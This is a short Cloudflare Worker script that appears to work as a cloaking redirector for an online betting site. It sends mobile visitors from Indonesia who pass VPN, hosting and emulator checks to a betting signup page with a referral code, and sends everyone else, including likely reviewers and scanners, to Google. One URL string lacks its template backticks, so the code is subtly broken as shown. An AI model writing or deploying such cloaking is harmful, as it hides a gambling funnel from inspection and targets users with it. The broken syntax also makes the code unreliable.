export default {
  async fetch(request) {
      const userAgent = request.headers.get("User-Agent") || "";
      const country = request.headers.get("CF-IPCountry") || "XX";
      const ip = request.headers.get("CF-Connecting-IP");

      const isMobile = /android|iphone|ipad|ipod|opera mini|mobile/i.test(userAgent);
      const isEmulator = /HeadlessChrome|wv|Windows NT|Macintosh|Linux x86_64/i.test(userAgent);

      const checkVPNProxy = async (ip) => {
          const controller = new AbortController();
          const timeout = setTimeout(() => controller.abort(), 4000);

          try {
              const url = http://ip-api.com/json/${ip}?fields=proxy,hosting,query,countryCode;
              const response = await fetch(url, { signal: controller.signal });
              const data = await response.json();
              
              clearTimeout(timeout);
              return {
                  country: data.countryCode || "XX",
                  isVPN: data.proxy || data.hosting,
              };
          } catch (e) {
              return { country: "XX", isVPN: false };
          }
      };

      let isVPNUser = false;
      let userCountry = country;

      if (ip) {
          const ipInfo = await checkVPNProxy(ip);
          userCountry = ipInfo.country;
          isVPNUser = ipInfo.isVPN;
      }

      if (isMobile && userCountry === "ID" && !isEmulator && !isVPNUser) {
          return Response.redirect("https://titanbet138-a15.shop/daftar2?ref=AGACQ1189945", 302);
      }

      return Response.redirect("https://www.google.com/", 302);
  }
};